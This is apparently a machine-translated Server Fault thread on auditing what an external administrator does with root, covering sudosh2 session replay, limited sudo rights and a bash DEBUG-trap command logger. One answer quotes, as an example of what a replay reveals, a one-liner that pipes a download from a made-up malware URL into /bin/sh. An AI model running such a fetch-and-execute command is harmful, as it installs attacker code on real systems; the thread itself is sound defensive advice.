Журнал кожної команди, виконаної з root


16

Я хочу надати доступ до мого кореневого сервера зовнішньому системному адміністратору, але я хочу бути впевненим, щоб двічі перевірити, що він робить на моєму сервері, наприклад, копіюючи дані, я не хочу, щоб вони це робили тощо. Я також хотів би відстежувати, до якого файлу можна отримати доступ, навіть у режимі лише для читання та не редагуваного.

Як я можу це зробити?


1
Дивіться відповідне запитання: serverfault.com/questions/181131/… ?
Стефан Ласєвський

Відповіді:


21

Довіряйте, але перевіряйте!

Перевірте sudosh2 . sudosh2 надається портами FreeBSD. Пакети доступні для RedHat та Ubuntu. Ось опис з їх веб-сайту:

sudosh є ревізійним фільтром оболонки і може використовуватися як оболонка для входу. Sudosh записує всі натискання клавіш і вихід і може відтворювати сеанс так само, як і відеомагнітофон.

Sudosh дозволить вам відтворити сеанс користувача, що дозволить вам бачити весь вхід і вихід так, як бачив користувач. Ви бачите все, натискання клавіш, друкарські помилки, зворотні проміжки, що вони редагували vi, вихід wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shта ін.

Можна надіслати журнали sudosh до syslog, щоб вони могли зберігатися на центральному сервері syslog подалі від системи.

Зауважте, що sudosh2 є заміною для sudosh, який його кинув автор

Чи працюєте ви в академічній установі, де користувачі наполягають на привілейованості надвисокого рівня? Або ви працюєте в корпорації і хочете дозволити користувачам мати привілеї суперпользователя на своїх власних комп'ютерах? Це може бути рішенням для вас.


1
Чудово - я раніше не чув про судош.
ЄЕАА

2
Що це за "відеомагнітофон", про який ви говорите?
Том Мартенал

2
Це як 8-трек, але ви можете записувати власні телепередачі!
Стефан Ласєвський

22

Не дайте йому кореневого доступу. Натомість дайте йому непривілейований обліковий запис користувача та попросіть його виконати всю свою роботу sudo, яка записуватиме всі його команди.

Майте у вигляді , що , якщо ця людина має згубні наміри і ви даєте йому повні права SUDO, він буде знайти спосіб , щоб здійснити ці недобрі наміри , не ті команди , які увійшли. У цьому випадку надайте йому лише доступ до певних команд, які йому потрібні для виконання своєї роботи.


я хочу зробити це якомога важче, не завдаючи болю своєму життю. Дякую за відповідь.
cedivad

Ви можете просто запустити sudo su -і мати кореневу оболонку, яка не буде зареєстрована (за винятком того, що ви її запустили). Це те, що я зазвичай набираю, коли хочу виконати більше однієї команди як root за один раз, або якщо я хочу заповнити вкладки в каталогах, які звичайні користувачі не можуть читати.
rjmunro

@rjmunro - саме тому я видав застереження про надання йому лише конкретного доступу, який йому потрібен. При бажанні ви можете явно заборонити sudo su -.
EEAA

1

Я не знайомий з sudosh2, але я вкладаю наступне у своє, .bashrcщоб увійти до команди всі команди, які я ввожу в bashоболонці, до файлу ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Вищезазначене встановлює пастку DEBUG, яка виконується безпосередньо перед виконанням звичайної команди. callerВбудований використовуються для тестування чи команда в даний час , набрані в інтерактивній оболонці або запустити через що - щось подібне .bashrc. Значення ${BASH_COMMAND}містить команду, яка виконується в даний час.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.